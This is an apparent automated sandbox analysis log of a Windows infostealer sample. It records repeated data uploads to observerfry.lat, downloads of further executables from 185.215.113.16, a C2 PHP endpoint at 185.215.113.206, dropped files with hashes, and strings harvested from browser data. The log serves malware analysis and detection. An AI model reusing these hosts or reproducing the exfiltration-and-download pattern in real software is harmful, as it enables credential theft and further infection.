Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FNO0YP40User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12787Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=UCHLBP6AFENRLUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15044Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PFP1X7XYEMDLPDJL1L2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20442Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Q5P4WTS5SKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1201Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4X39Q0O4ST7JEGRC0CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571469Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: observerfry.lat
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: observerfry.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat

Source: U8mbM8r793.exe, 00000004.00000003.1553393586.0000000001767000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: U8mbM8r793.exe, 00000004.00000003.1553393586.0000000001767000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/hf
Source: U8mbM8r793.exe, 00000004.00000003.1553613060.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: U8mbM8r793.exe, 00000004.00000003.1553514964.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeS
Source: U8mbM8r793.exe, 00000004.00000003.1553613060.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeks
Source: U8mbM8r793.exe, 00000004.00000003.1553613060.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exer
Source: U8mbM8r793.exe, 00000004.00000003.1553393586.0000000001767000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1553613060.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: U8mbM8r793.exe, 00000004.00000003.1553393586.0000000001767000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeRfo
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.000000000078E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/15.113.206/
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007EA000.00000004.00000020.00020000.00000000.sdmp, ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php$
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/h
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.000000000078E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206W
Source: U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: U8mbM8r793.exe, 00000004.00000003.1408197847.000000000173D000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1470708893.000000000174A000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336105471.000000000173D000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1428969410.000000000173D000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1429534834.000000000173D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: U8mbM8r793.exe, 00000004.00000003.1381956323.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700
Source: U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700002.1&cta
Source: U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/5b4DH7KHAf2n_mNaLjNi1-UAoKmM9rhqaA9w7FyznHo.10943.jpg
Source: U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqrfQHr4pbW4ZbWfpbY7ReNxR3UIG8zInwYIFIVs9eYi
Source: U8mbM8r793.exe, 00000004.00000003.1553231816.000000000175C000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1470503230.000000000175E000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336105471.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1471190122.0000000001760000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1445705182.0000000001773000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/
Source: U8mbM8r793.exe, 00000004.00000003.1405268117.0000000005E53000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1405153757.0000000005E50000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1428727871.0000000005E53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/02
Source: U8mbM8r793.exe, 00000004.00000003.1381376152.0000000005E44000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1405268117.0000000005E53000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1381539467.0000000005E53000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1381698424.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1405153757.0000000005E50000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1382169966.0000000005E53000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1428727871.0000000005E53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/5Ve
Source: U8mbM8r793.exe, 00000004.00000003.1428727871.0000000005E53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/Qj7
Source: U8mbM8r793.exe, 00000004.00000003.1336105471.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1553613060.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api
Source: U8mbM8r793.exe, 00000004.00000003.1553613060.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiH
Source: U8mbM8r793.exe, 00000004.00000003.1408347858.0000000001773000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1408145362.0000000001773000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiit
Source: U8mbM8r793.exe, 00000004.00000003.1336105471.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apis
Source: U8mbM8r793.exe, 00000004.00000003.1429430671.0000000001773000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1428925315.0000000001773000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/eA
Source: U8mbM8r793.exe, 00000004.00000003.1470744835.0000000001773000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1433071039.0000000001773000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1553393586.0000000001767000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1429430671.0000000001773000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1428925315.0000000001773000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1445705182.0000000001773000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/pi
Source: U8mbM8r793.exe, 00000004.00000003.1382997256.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: U8mbM8r793.exe, 00000004.00000003.1382997256.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15e498ec2b39921665a1fbc954bff40a8106629178eadc64
Source: U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: U8mbM8r793.exe, 00000004.00000003.1336903650.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336983372.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337061917.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: U8mbM8r793.exe, 00000004.00000003.1383396613.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.marriott.com/default.mi?utm_source=admarketplace&utm_medium=cpc&utm_campaign=Marriott_Pr
Source: U8mbM8r793.exe, 00000004.00000003.1382997256.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.d-GHL1OW1fkT
Source: U8mbM8r793.exe, 00000004.00000003.1382997256.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.sYEKgG4Or0s6
Source: U8mbM8r793.exe, 00000004.00000003.1382997256.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: U8mbM8r793.exe, 00000004.00000003.1382997256.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: U8mbM8r793.exe, 00000004.00000003.1382997256.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49752 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: U8mbM8r793.exe	Static PE information: section name:
Source: U8mbM8r793.exe	Static PE information: section name: .idata
Source: U8mbM8r793.exe	Static PE information: section name:
Source: IC79VITF07QUR284C1B5QWCEACP3.exe.4.dr	Static PE information: section name:
Source: IC79VITF07QUR284C1B5QWCEACP3.exe.4.dr	Static PE information: section name: .idata
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe.4.dr	Static PE information: section name:
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe.4.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0173FF75		4_3_0173FF75
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Code function: 7_2_0069E2EE		7_2_0069E2EE

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe 3ACD04016A0846F4E6C69D4684AC0A21DC476E63F8E7957FC73CA58C90F40857
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe D8DB10ABDB18394FA74BFB00C68A6AE1A40DE13CF5D0A6620A9A2F1D4571351D

Source: U8mbM8r793.exe, 00000004.00000003.1522805000.000000000639E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1553169754.0000000001783000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1528216523.00000000062E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1524701934.00000000062EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1536645742.0000000006594000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1527262046.00000000062E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1523095577.00000000062F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1524865480.00000000063C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1533748124.00000000062EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1526594877.00000000064AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1523996512.000000000646E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1554328507.00000000065A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1520130995.00000000062EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
